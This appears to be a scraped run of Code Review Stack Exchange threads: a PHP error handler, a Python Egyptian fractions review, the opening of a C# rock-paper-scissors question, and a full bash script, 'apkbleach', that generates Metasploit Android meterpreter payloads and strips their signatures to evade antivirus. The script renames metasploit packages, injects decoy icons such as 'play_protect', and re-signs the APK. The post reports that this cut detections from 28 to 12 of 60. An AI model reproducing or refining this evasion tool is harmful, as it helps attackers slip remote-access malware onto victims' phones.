exit();
/* If there is an error page path and it exists, include it
* The file itself has access to the error string, it will
* output it if debug mode is enabled.
* Custom error files can be used by definining the constant ERROR_PAGE_PATH */
}else{
include($this->errorPagePath);
exit();
}
}
/* Set up the error string to be logged or emailed
* Receives an argument for the type of output.
* Lines are separated by \n or <BR> (based on the $output argument).
===========================================*/
private function getErrorString($output = false){
//Switch between the error numbers and set up the error type variable
switch ($this->errno) {
case E_NOTICE:
case E_USER_NOTICE:
case E_DEPRECATED:
case E_USER_DEPRECATED:
case E_STRICT:
$errorType = "NOTICE";
break;
case E_WARNING:
case E_USER_WARNING:
$errorType = "WARNING";
break;
case E_ERROR:
case E_USER_ERROR:
case E_RECOVERABLE_ERROR:
$errorType = "FATAL";
default:
$errorType = "UNKNOWN";
}
//Set up the separator based on the $output argument
if($output){
$separator = "<BR>";
}else{
$separator = "\n";
}
//Set up the error string
$errorString = $errorType.' ['.$this->errno.'] At: '.date("j M y - g:i:s A (T)", time()).":".$separator."";
$errorString .= "File: ".$this->errfile." (Line: ".$this->errline.")".$separator."";
$errorString .= "Message: ".$this->errstr."".$separator."";
$errorString .= "Backtrace: ".$this->backTraceError()."".$separator."";
//Add a dashed line break only for the log
if(!$output){
$errorString .= "------------------------------------------".$separator."";
}
//Return the error string
return $errorString;
}
/* Function to back trace the error
===========================================*/
private function backTraceError(){
//Set up backtrace variables
$rawBacktrace = debug_backtrace();
$cleanBacktrace = $backtraceSeparator = '';
$i = 0;
//Loop through the backtrace
foreach($rawBacktrace as $a_key => $a_value){
//If a file or line is not set, skip this iteration
if(!isset($a_value['file']) || !isset($a_value['line'])){
continue;
}
//Start saving the backtrace from the file the error occurred in, skip the rest
if(!isset($backtraceStarted) && basename($a_value['file']) != $this->failedOnFile){
continue;
}else{
$backtraceStarted = true;
}
//Add this file to the backtrace
$cleanBacktrace .= $backtraceSeparator.basename($a_value['file']).' ['.$a_value['line'].']';
//Set the separator for the next iteration
$backtraceSeparator = ' < ';
//Increment the counter
$i++;
}
//Return the backtrace
return $cleanBacktrace;
}
}
</code></pre>
<p>The output of the error is like this:</p>
<pre><code>WARNING [2] At: 20 Jun 19 - 4:28:02 PM (UTC):
File: /home/framework/core/Application.php (Line: 9)
Message: Use of undefined constant s - assumed 's' (this will throw an Error in a future version of PHP)
Backtrace: Application.php [9] < index.php [17]
------------------------------------------
</code></pre>
<p>I tried to make it as customization as I could. Since this is part of the framework I am working on, it comes with a default <code>error500.php</code> file, but if there isn't one then a general message will be shown. Developers also have the option to use their own error pages.
The error pages have access to the properties of the error handler class since they are included in it, so the error and other data can be shown for debugging.</p>
<p>Any feedback on this would be great!</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T19:54:42.113",
"Id": "431086",
"Score": "0",
"body": "It would be a good idea to type hint your arguments e.g. `getErrorString(bool $output = false)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T05:01:28.200",
"Id": "431128",
"Score": "0",
"body": "I am slowly working on something similar, it's on [Git](https://github.com/ArtisticPhoenix/Shutdown/blob/master/src/evo/shutdown/Shutdown.php) - how mine works is you can register multiple callbacks, then I have a set of callback classes like FileLog, Email, Json etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T05:51:31.443",
"Id": "431138",
"Score": "0",
"body": "@Dharman Yes thats true, i will start doing that"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T05:54:32.430",
"Id": "431141",
"Score": "0",
"body": "@ArtisticPhoenix At the moment i have a shutdown function separate from the error handler, but i am going to include the function in to the error handler class itself. I see that you handle exceptions and error in the same class, why is that?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T05:59:29.957",
"Id": "431145",
"Score": "0",
"body": "I normalize the errors by throwing exceptions for them."
}
] | [
{
"body": "<p>Two things here,</p>\n\n<ol>\n<li><p>Remove your extra empty lines as its hard to read.</p></li>\n<li><p>Use <a href=\"https://en.wikipedia.org/wiki/PHPDoc\" rel=\"nofollow noreferrer\">PHPDoc</a> comments for each function, it's like JavaDocs but for PHP and you can use it to generate documentation for your classes. So Like</p></li>\n</ol>\n\n<pre><code>/**\n* Save the error to a log\n*/\nprivate function saveToLog(){\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code>/* Save the error to a log\n===========================================*/\nprivate function saveToLog(){\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T02:59:59.727",
"Id": "222953",
"ParentId": "222650",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T16:52:06.320",
"Id": "222650",
"Score": "3",
"Tags": [
"php",
"object-oriented",
"error-handling"
],
"Title": "PHP Error handler class"
} | 222650 |
<p>Here's my code for the Egyptian fraction written in Python. I need your feedback if there is any room for improvement.</p>
<pre><code>def eg_fr(n, d):
ls = []
ls_str = []
fraction = n / d
total = 0
for i in range(1, 1000):
ls.append((1/i, str(1) + '/' + str(i)))
for i in ls:
while i[0] + total <= fraction:
ls_str.append(i[1])
total += i[0]
if total >= fraction:
break
print('%s/%s = ' % (n, d), end='')
for i in range(len(ls_str) - 1):
print('', ls_str[i], '+ ', end='')
print(ls_str[-1], end='')
return ls_str
if __name__ == '__main__':
eg_fr(7, 133)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T18:20:49.183",
"Id": "431080",
"Score": "1",
"body": "Please fix indentation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T18:31:02.097",
"Id": "431081",
"Score": "0",
"body": "I did, it might have not reflected yet"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T02:57:50.617",
"Id": "431123",
"Score": "0",
"body": "@Carcigenicate - I fixed the indentation. It works now."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T07:02:31.757",
"Id": "431152",
"Score": "0",
"body": "Can you be more specific about what the purpose of the code is? To find any Egyptian fraction expansion for the input? To find the best one by some criterion? To find all of them with denominators below a hard-coded cutoff?"
}
] | [
{
"body": "<h1>Code readability and style</h1>\n\n<hr>\n\n<p>You should use <a href=\"https://realpython.com/python-f-strings/\" rel=\"nofollow noreferrer\"><em><code>f</code></em>-strings</a> -</p>\n\n<blockquote>\n <p><em>To create an f-string, prefix the string with the letter</em> “ <em><code>f</code></em> ”.\n <em>The string itself can be formatted in much the same way that you would\n with\n <a href=\"https://www.geeksforgeeks.org/python-format-function/\" rel=\"nofollow noreferrer\"><strong><code>str.format()</code></strong></a>.</em>\n <em><code>f</code></em>-<em>strings</em> <em>provide a concise and convenient way to embed python\n expressions inside string literals for formatting.</em></p>\n</blockquote>\n\n<p>Which means, instead of using the outdated way of formatting strings -</p>\n\n<blockquote>\n<pre><code>print('%s/%s = ' % (n, d), end='')\n</code></pre>\n</blockquote>\n\n<p>You can make it more concise -</p>\n\n<pre><code>print(f'{n}/{d} = ', end='')\n</code></pre>\n\n<p>Here, this -</p>\n\n<blockquote>\n<pre><code> print('', ls_str[i], '+ ', end='')\n</code></pre>\n</blockquote>\n\n<p>could be written as -</p>\n\n<pre><code>print(f'{ls_str[i]} + ', end='')\n</code></pre>\n\n<p><strong>NOTE</strong> - Requires <a href=\"https://www.python.org/downloads/\" rel=\"nofollow noreferrer\">Python 3.6 and above</a>.</p>\n\n<p>If you don't have Python 3.6 and above, you could use <a href=\"https://www.geeksforgeeks.org/python-format-function/\" rel=\"nofollow noreferrer\"><em><code>str.format()</code></em></a> -</p>\n\n<blockquote>\n <p><strong><em><code>str.format()</code></em></strong> is one of the string formatting methods in Python 3, which\n allows multiple substitutions and value formatting. This method lets\n us concatenate elements within a string through positional formatting.</p>\n</blockquote>\n\n<p>So you could write it like this -</p>\n\n<pre><code>print('{}/{} = '.format(n, d), end='')\n</code></pre>\n\n<p>And -</p>\n\n<pre><code>print('{} + '.format(ls_str[i]), end='')\n</code></pre>\n\n<hr>\n\n<p>You should have a more descriptive name for your function, so it that it is easy to figure out what your program does, like this -</p>\n\n<pre><code>def egyptian_fraction(n, d):\n</code></pre>\n\n<p>The same would go for variable names -</p>\n\n<blockquote>\n<pre><code>ls = []\n</code></pre>\n</blockquote>\n\n<p>could be -</p>\n\n<pre><code>fraction_list = []\n</code></pre>\n\n<p>And - </p>\n\n<blockquote>\n<pre><code>ls_str = []\n</code></pre>\n</blockquote>\n\n<p>could just be -</p>\n\n<pre><code>list_str = []\n</code></pre>\n\n<p>since it does not affect Python's inbuilt <code>list()</code> function.</p>\n\n<hr>\n\n<p>So, overall, your code would then look like this (in terms of code readability and style) -</p>\n\n<pre><code>def egyptian_fraction(n, d):\n fraction_list = []\n list_str = []\n fraction = n / d\n total = 0\n for i in range(1, 1000):\n fraction_list.append((1/i, str(1) + '/' + str(i)))\n for i in fraction_list:\n while i[0] + total <= fraction:\n list_str.append(i[1])\n total += i[0]\n if total >= fraction:\n break\n print(f'{n}/{d} = ', end='')\n for i in range(len(list_str) - 1):\n print(f'{list_str[i]} + ', end='')\n print(list_str[-1], end='')\n return list_str\n\n\nif __name__ == '__main__':\n egyptian_fraction(7, 133)\n</code></pre>\n\n<hr>\n\n<p>Also, good use of the <a href=\"https://www.geeksforgeeks.org/what-does-the-if-__name__-__main__-do/\" rel=\"nofollow noreferrer\"><code>if __name__ == __'main__':</code></a> guard. Most people don't even attempt to use it.</p>\n\n<hr>\n\n<p>To remain concise and immaculate in writing Python programs, I suggest you have a look at <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\"><em>PEP 8</em></a>, which is Python's official style guide.</p>\n\n<p>Hope this helps!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T13:49:40.943",
"Id": "431317",
"Score": "1",
"body": "Does this help answer your question?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T08:07:55.373",
"Id": "431408",
"Score": "1",
"body": "Sorry, this review is in no way useful. It does not address any of the problems but concentrates on cosmetic issues."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T02:32:41.747",
"Id": "222679",
"ParentId": "222652",
"Score": "0"
}
},
{
"body": "<h1>Names</h1>\n\n<p>What should your code do? Neither your code (by good names) nor your documentation inside the code (docstrings) nor your question does state the task in detail. So I cannot tell if your code is delivering the right results (but I don't think it does). So fix your names, there is no need to save characters. The bigger the scope the better the names have to be. Also add some docstring with a more detailed description of the task the function tries to solve.</p>\n\n<h1>Correctness of the results</h1>\n\n<pre><code>>>> _ = eg_fr(7, 133)\n7/133 = 1/19\n>>> _ = eg_fr(7, 132)\n7/132 = 1/19\n</code></pre>\n\n<p>That surprises at least me. At least the print statement lies to me. there is no equality in the second expression</p>\n\n<h1>Functions returning values vs. I/O</h1>\n\n<pre><code>>>> eg_fr(7, 133)\n7/133 = 1/19\n['1/19']\n</code></pre>\n\n<p>Functions usually should either return values and have no other side effects like <code>print</code> or they should do tasks with side effect and return nothing (<code>None)</code> or success/error codes only. Your function does both. Either call the function <code>print_egypti...</code> and remove the return value or do remove the print from inside the function.</p>\n\n<p>I strongly suggest to do printing outside the algorithm to have a testable function that is not cluttering the output.</p>\n\n<h1>Printing</h1>\n\n<p>A single test is no test.</p>\n\n<p>If you did</p>\n\n<pre><code>if __name__ == '__main__':\n eg_fr(7, 133)\n eg_fr(7, 132)\n</code></pre>\n\n<p>you would have noticed not only the interesting results but also that you missed a line feed.</p>\n\n<h1>Looping</h1>\n\n<p>In Python you never do</p>\n\n<pre><code>for i in range(len(something)):\n do(something[i])\n</code></pre>\n\n<p>You always do</p>\n\n<pre><code>for element in something:\n do(element)\n</code></pre>\n\n<p>in your case</p>\n\n<pre><code>for element in ls_str[:-1]:\n print('', element, '+ ', end='')\n</code></pre>\n\n<p>that is less error prone.</p>\n\n<h1>String concatenation</h1>\n\n<p>You do concatenate the string output via printing in a loop. Use <code>join()</code> here. Instead of</p>\n\n<pre><code>for element in ls_str[:-1]:\n print('', element, '+ ', end='')\nprint(ls_str[-1])\n</code></pre>\n\n<p>you do</p>\n\n<pre><code>print(' + '.join(ls_str))\n</code></pre>\n\n<h1>Testability</h1>\n\n<p>As mentioned before we split algorithm from I/O to get a nice and testable function</p>\n\n<pre><code>def egyptian_fractions(nominator, denominator):\n # [...]\n\ndef print_egyptian_fractions(nominator, denominator):\n print('{}/{} = '.format(nominator, denominator), end='')\n print(' + '.join(egyptian_fractions(nominator, denominator)))\n</code></pre>\n\n<h1>Go for purity</h1>\n\n<p>We squeeze out all stuff from the algorithm that does not belong there. That is the string representation and also the nominator which is always <code>1</code>. The final algorithm shall return only a list of denominators.</p>\n\n<p>The remaining algorithm is</p>\n\n<pre><code>def egyptian_fractions_(nominator, denominator):\n denominators = []\n fraction = nominator / denominator\n total = 0\n for i in range(1, 1000):\n while 1/i + total <= fraction:\n denominators.append(i)\n total += 1/i\n if total >= fraction:\n break\n return denominators\n</code></pre>\n\n<p>The fitting print function is</p>\n\n<pre><code>def print_egyptian_fractions(nominator, denominator):\n ls_str = ['1/' + str(e) for e in egyptian_fractions(nominator, denominator)]\n print('{}/{} = '.format(nominator, denominator), end='')\n print(' + '.join(ls_str))\n</code></pre>\n\n<h1>Algorithm</h1>\n\n<p>Depending on your task, I cannot know for sure, your algorithm is erroneous and inefficient.</p>\n\n<ul>\n<li>You do prepare a lengthy fractions for a later test where you could calculate straightforward.</li>\n<li>you do prepare string representations where you could leave this to the output functions</li>\n<li>You limited yourself to a smallest fraction of <code>1/1000</code>. Why?</li>\n<li>You use float numbers for calculation and testing inside your algorithm and will get precision errors</li>\n</ul>\n\n<p>I should mention there is the module <code>fractions</code> that is providing fractional math. As this is an exercise we will try to do it by hand.</p>\n\n<p>First we try to lay out the algorithm</p>\n\n<ol>\n<li><p>We try to find the biggest fraction f that is smaller or equal to the given fraction g</p></li>\n<li><p>We keep the denominator from the fraction f</p></li>\n</ol>\n\n<p>3a. we subtract fraction f from the given fraction g to get the remainder</p>\n\n<p>So far this is what you did, now the change</p>\n\n<p>3b. we try to find a fractional expression for the remainder (nominator, denominator)</p>\n\n<ol start=\"4\">\n<li>we repeat from step 1</li>\n</ol>\n\n<p>For step 1 you did a simple loop testing to find the biggest fraction. We do it a little more advanced, we divide the given denominator by the given nominator to find the new egyptian denominator. We use integer division for that step to work without precision loss. If the remainder of this division is 0 we are done, if not we have to increment the new denominator.</p>\n\n<p>For step 3 we do some basic math to do the subtraction with the help of a common denominator to avoid precision loss and stick to a nominator/denominator fraction format.</p>\n\n<p>What do we do for step 4? the task is the very same - solve the same problem for a new pair of nominator/denominator. We do a simple recursion and call the same function again appending that result to that from the current recursion depth.</p>\n\n<pre><code>def egyptian_fractions(nominator, denominator):\n if nominator == 1:\n return [denominator] # exactly fitting fraction (was normalized)\n else:\n d = denominator // nominator\n r = denominator % nominator\n if r == 0:\n return [d] # exactly fitting fraction (wasn't normalized)\n else:\n d += 1 # increment to get the biggest fitting fraction\n # keep the result and add the result of the subproblem\n return [d] + egyptian_fractions(nominator*d-denominator, denominator*d)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T09:05:49.987",
"Id": "222796",
"ParentId": "222652",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T18:07:15.227",
"Id": "222652",
"Score": "1",
"Tags": [
"python",
"python-3.x"
],
"Title": "Egyptian fractions in Python"
} | 222652 |
<p>I have written a little script that does a pretty good job of obfuscating android/meterpreter payloads. It will generate payloads or used supplied msf payloads while also injecting a custom icon. The Original payload generated by metasploits msfvenom triggers 28 0f 60 anti-viruses on virustotal.com. After running my script it only triggers. 12 of 60.</p>
<p>I have a GitHub repository here: <a href="https://github.com/graylagx2/apkbleach/tree/30a9b78c31b47b962a1f16fe71953a9fcf2e222f" rel="nofollow noreferrer">https://github.com/graylagx2/apkbleach</a></p>
<p>I would really appreciate anyone that cares to provide feed back on the code or the techniques used as this is the first public release of this script.</p>
<pre><code>#!/bin/bash
# Author: graylagx2
# Version: 1.0
# Description: This script will remove the obvious fingerprints of metasploit through out a given apk file.
# Contact: graylagx2@gmail.com
RED=$'\e[1;31m'
GREEN=$'\e[1;32m'
YELLOW=$'\e[1;33m'
BLUE=$'\e[1;34m'
RESTORE=$'\e[0m'
spinLoader() {
pid=$!
spin='\|/-'
i=0
while kill -0 $pid 2>/dev/null
do
i=$(( (i+1) %4 ))
printf "\r${BLUE}[${spin:$i:1}]${RESTORE} $PROG_MESSAGE"
sleep .1
done
printf "\r ${GREEN}[-]${RESTORE} $COMP_MESSAGE"
sleep 1;echo
}
# Checking internet connection and installing pkgs if needed
installPkgs() {
[[ $(wget -q --tries=5 --timeout=20 --spider http://google.com ; echo $?) != 0 ]] && echo -e "${RED}Warning!${YELLOW} This script needs an internet connection!" && echo && echo -e "${YELLOW}Please connect to the internet and try again.${RESTORE}" && exit
apt-get install zipalign -y &>/dev/null &
PROG_MESSAGE="Installing zipalign to align android applications "
COMP_MESSAGE="Installed zipalign to align android applications "
spinLoader;echo
}
[[ $(dpkg-query -s zipalign &>/dev/null ; echo $?) = 0 ]] || installPkgs
# Handling some input arguments
USAGE() {
echo -e "${GREEN}Usage:${RESTORE} apkbleach ${YELLOW}-g${RESTORE} <android/payload/to/use LHOST=ip-address-to-use LPORT=port-to-use> ${YELLOW}-i${RESTORE} <path/to/image.png> ${YELLOW}-o${RESTORE} <path/to/outputname.apk>\n
${GREEN}Options:${RESTORE}
${YELLOW}-g${RESTORE} <android/payload/to/use LHOST=ip-address-to-use LPORT=port-to-use>
${YELLOW}Generates obfuscated payload with nops${RESTORE}
${YELLOW}-i${RESTORE} <path/to/image.png> [ use -i --list ] to list defaults
${YELLOW}Sets image as the icon of the file.apk${RESTORE}
${YELLOW}-o${RESTORE} <path/to/outputname.apk>
${YELLOW}Sets the name of custom output file${RESTORE}
${YELLOW}-x${RESTORE} <path/to/apk>
${YELLOW}Uses pre generated metasploit payload to obfuscate${RESTORE}
${YELLOW}-h${RESTORE} ${YELLOW}Help menu${RESTORE}
";exit
}
[[ $# -eq 0 ]] && bash $0 -h && exit
while test $# -gt 0; do
case "$1" in
-h|--help)
USAGE
;;
-x)
shift
if [ $# -gt 0 ]; then
export APP_PATH=$1
else
echo -e "${RED}ERROR: ${YELLOW}Input apk not set${RESTORE}"
USAGE
fi
shift
;;
-g)
shift
if [ $# -gt 0 ]; then
export PAYLOAD=$1
export LHOST=$2
export LPORT=$3
else
echo -e "${RED}ERROR: ${YELLOW}Input apk not set${RESTORE}"
USAGE
fi
shift 3
;;
-o)
shift
if [ $# -gt 0 ]; then
export EXPORT_PATH=$(dirname $1)
export OUTPUT_NAME=$(basename $1)
else
echo -e "${RED}ERROR: ${YELLOW}Output apk name not set${RESTORE}"
USAGE
exit 1
fi
shift
;;
-i)
shift
if [ $# -gt 0 ]; then
if [ $1 = "--list" ]; then
echo -e "${YELLOW}ICONS: \n\nICONS/4g_signal.png\nICONS/settings.png\nICONS/signal.jpg\nICONS/secure.png\nICONS/android_studio.png\nICONS/play_protect.png"
exit
fi
export ICON_PATH=$1
else
echo -e "${RED}ERROR: ${YELLOW}Input png image not set${RESTORE}"
USAGE
exit 1
fi
shift
;;
*)
USAGE
;;
esac
done
echo -e "${BLUE}"
echo '
____ ____ __ _ ____ _ ___ ____ __ __ __
/ | \| l/ | \| T / _]/ T / | T T
Y o | o | /| o | | / [_Y o | / /| l |
| | _/| \| | l___Y _| |/ / | _ |
| _ | | | | O | | [_| _ / \_| | |
| | | | | . | | | | | \ | | |
l__j__l__j l__j\_l_____l_____l_____l__j__j\____l__j__j'
echo -e "\n${YELLOW} Version: ${BLUE}1.0 ${YELLOW}Author: ${BLUE}graylagx2${RESTORE}\n"
# Variables to rename directories, files or pathways in apk
M_SMALI_DIR=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
S_SMALI_DIR=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
P_SMALI_FILE=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
MAIN_ACTIVITY=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
MAIN_SERVICE=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
MAIN_BROADCAST_RECEIVER=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
MAIFEST_SCHEME=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
if [ ! -z $PAYLOAD ] && [ ! -z $LHOST ] && [ ! -z $LPORT ]; then
(msfvenom -p "$PAYLOAD" "$LHOST" "$LPORT" --pad-nops R &>/dev/null > /tmp/service.apk || $(echo -e "${RED}ERROR${RESTORE} msfvenom failed checks options"; exit)) &
PROG_MESSAGE="Generating $PAYLOAD payload"
COMP_MESSAGE="Generated $PAYLOAD payload"
spinLoader;echo
APP_PATH=/tmp/service.apk
[[ -n $EXPORT_PATH ]] && APP_NAME=$OUTPUT_NAME || APP_NAME=$(basename $APP_PATH)
else
[[ -n $APP_PATH ]] && APP_NAME=$(basename $APP_PATH) || exit
fi
# Handling user ERROR on NO-PATH
#if [ $(echo $APP_PATH | grep "/" &>/dev/null; echo $?) = 1 ]; then
# echo -e "${BLUE}[!] ${YELLOW}You did not specify a path to original PAYLOAD please wait while we find it for you.${RESTORE}";echo
# APP_PATH=$(find / -name "$APP_PATH" ! -path '*/root/.local/share/Trash/files/*' 2>/dev/null)
# if (( $(echo $APP_PATH | cut -d '.' -f2 | wc -w) > 1 )); then
# zenity --width=300 --height=200 --info --text="There are multiple PATHWAYS to your application: \n \n $APP_PATH \n \n When the file selection window opens please select the file you wish to use."
# APP_PATH=$(zenity --title="There are multiple PATHWAYS to your application please select one" --file-selection || echo -e "ERROR: No selection")
# [[ $APP_PATH = "ERROR: No selection" ]] && echo -e "${RED}ERROR: ${YELLOW}No selection.${RESTORE}" && exit
#fi
# Handling user ERROR on NOT-VALID-APK
if [ $(zip -T $APP_PATH &>/dev/null; echo $?) != 0 ]; then
zenity --width=250 --height=150 --info --text="$APP_PATH \n \n Is not a valid PATH or APK when file selection window opens please select a valid apk file."
APP_PATH=$(zenity --title="$APP_PATH is not a valid PATH or APK please select a valid apk file." --file-selection || echo -e "ERROR: No selection")
[[ $(zip -T $APP_PATH &>/dev/null; echo $?) != 0 ]] && echo -e "${RED}ERROR: ${YELLOW}Not valid APK.${RESTORE}" && exit
fi
# Decompile apk
(apktool -q d $APP_PATH -o /tmp/apkbleach/Decompiled; sleep 3) &
PROG_MESSAGE="Decompiling $(basename $APP_PATH)"
COMP_MESSAGE="Decompiled $(basename $APP_PATH)"
spinLoader;echo
# Injecting custom icon if -i is set
iconInject() {
(sed -i 's|<application android:label="@string/app_name">|<application android:label="@string/app_name" android:icon="@drawable/icon" >|g' /tmp/apkbleach/Decompiled/AndroidManifest.xml;
mkdir /tmp/apkbleach/Decompiled/res/drawable-ldpi-v4 /tmp/apkbleach/Decompiled/res/drawable-mdpi-v4 /tmp/apkbleach/Decompiled/res/drawable-hdpi-v4;
convert -resize 72x72 $ICON_PATH /tmp/apkbleach/Decompiled/res/drawable-hdpi-v4/icon.png;
convert -resize 48x48 $ICON_PATH /tmp/apkbleach/Decompiled/res/drawable-mdpi-v4/icon.png;
convert -resize 36x36 $ICON_PATH /tmp/apkbleach/Decompiled/res/drawable-ldpi-v4/icon.png;
sleep 3;) &
PROG_MESSAGE="Injecting custom icon"
COMP_MESSAGE="Injected custom icon"
}
if [ ! -z $ICON_PATH ] && [ $(file $ICON_PATH 2>/dev/null | grep "image" &>/dev/null; echo $?) = 0 ]; then
iconInject && spinLoader;echo
elif [ ! -z $ICON_PATH ] && [ $(file $ICON_PATH 2>/dev/null | grep "image" &>/dev/null; echo $?) = 1 ]; then
echo -e "${RED}[!] ${YELLOW}Inject icon flag set but no valid image or path was found!${RESTORE}"
fi
# Change app name
(sed -i "s/MainActivity/${APP_NAME%%.*}/g" /tmp/apkbleach/Decompiled/res/values/strings.xml;
# Shuffle permissions and replace any metasploit/stage or metasploit.stage pathways also version numbers and mentions of reciever service and activity.
sed -i "2,22{N;N;s/\(.*\)\n\(.*\)\n\(.*\)/\3\n\2\n\1/};s/platformBuildVersionCode=\"10\"/platformBuildVersionCode=\"27\"/g;s/platformBuildVersionName=\"2.3.3\"/platformBuildVersionName=\"8.1.0\"/g;s/metasploit.stage/$M_SMALI_DIR.$S_SMALI_DIR/g;s/metasploit/$MAIFEST_SCHEME/g;s/MainActivity/$MAIN_ACTIVITY/g;s/MainService/$MAIN_SERVICE/g;s/android:name=\".MainBroadcastReceiver\"/android:name=\".$MAIN_BROADCAST_RECEIVER\"/g" /tmp/apkbleach/Decompiled/AndroidManifest.xml;
# Renaming directorie-names and files-names to replace any mention of metaplsoit,stage or Payload
mv /tmp/apkbleach/Decompiled/smali/com/metasploit/ /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/stage /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/Payload.smali /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/$P_SMALI_FILE.smali;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/MainActivity.smali /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/$MAIN_ACTIVITY.smali;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/MainService.smali /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/$MAIN_SERVICE.smali;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/MainBroadcastReceiver.smali /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/$MAIN_BROADCAST_RECEIVER.smali;
# Replacing any mention of metasploit-stage-payload in all smali files
sed -i "s/metasploit/$M_SMALI_DIR/g;s/stage/$S_SMALI_DIR/g;s/MainActivity/$MAIN_ACTIVITY/g;s/MainService/$MAIN_SERVICE/g;s/MainBroadcastReceiver/$MAIN_BROADCAST_RECEIVER/g;s/Payload/$P_SMALI_FILE/g" /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/*;
sleep 3) &
PROG_MESSAGE="Bleaching $(basename $APP_PATH)"
COMP_MESSAGE="Bleached $(basename $APP_PATH)"
spinLoader;echo
# Rebuild apk
[[ -z $EXPORT_PATH ]] && DEFAULT=service.apk && APP_NAME=service.apk || DEFAULT=$OUTPUT_NAME
(apktool -q b /tmp/apkbleach/Decompiled -o /tmp/apkbleach/temp.apk; sleep 3) &
PROG_MESSAGE="Rebuilding $(basename $APP_PATH) as $DEFAULT"
COMP_MESSAGE="Rebuilt $(basename $APP_PATH) as $DEFAULT"
spinLoader;echo
# Generate key,sign and align apk
(yes "yes" | keytool -genkey -v -keystore /tmp/apkbleach/${APP_NAME%%.*}.keystore -alias ${APP_NAME%%.*} -keyalg RSA -storepass password -keysize 2048 -keypass password -validity 10000 &>/dev/null;
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -storepass password -keypass password -keystore /tmp/apkbleach/${APP_NAME%%.*}.keystore /tmp/apkbleach/temp.apk ${APP_NAME%%.*} &>/dev/null;
zipalign -f 4 /tmp/apkbleach/temp.apk /tmp/apkbleach/$APP_NAME) &
PROG_MESSAGE="Generating key --> Signing --> Aligning [$APP_NAME]"
COMP_MESSAGE="Generated key --> Signined --> Aligned [$APP_NAME]"
spinLoader;echo
# Move files into home directory/apkbleach/Clean and clean up
[[ ! -z $EXPORT_PATH ]] && [[ ! -d $EXPORT_PATH ]] && mkdir -p $EXPORT_PATH
[[ -z $EXPORT_PATH ]] && EXPORT_PATH=$(pwd)
(mv --backup=t /tmp/apkbleach/$APP_NAME /tmp/apkbleach/${APP_NAME%%.*}.keystore -t $EXPORT_PATH;
rm -rf /tmp/apkbleach /tmp/service.apk;
sleep 3) &
PROG_MESSAGE="Moving $APP_NAME and ${APP_NAME%%.*}.keystore to $EXPORT_PATH"
COMP_MESSAGE="Moved $APP_NAME and ${APP_NAME%%.*}.keystore to $EXPORT_PATH"
spinLoader;echo;echo
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T18:37:10.600",
"Id": "222654",
"Score": "2",
"Tags": [
"android",
"bash"
],
"Title": "BASH script to obfuscate android/meterpreter payloads"
} | 222654 |
<p>I have a Rock Paper Scissors project in C# and I was wondering if I could get some feedback on how to improve my code. I ask the user how many rounds the user wants to play. The maximum number of rounds allowed is 10, anything else besides a number 1-10, will exit the program. I would also like to know if I could use a <em>for loop</em> to count the number of rounds until it reaches the rounds input and when user wants to play again, the count of rounds should reset to 0. Not sure if <code>int countRounds = 0</code> is actually required for this purpose.</p>
<pre><code>using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RockPaperScissors
{
class Program
{
public static int roundsInput;
public static bool inPlay = true;
public static string player;
static void Main(string[] args)
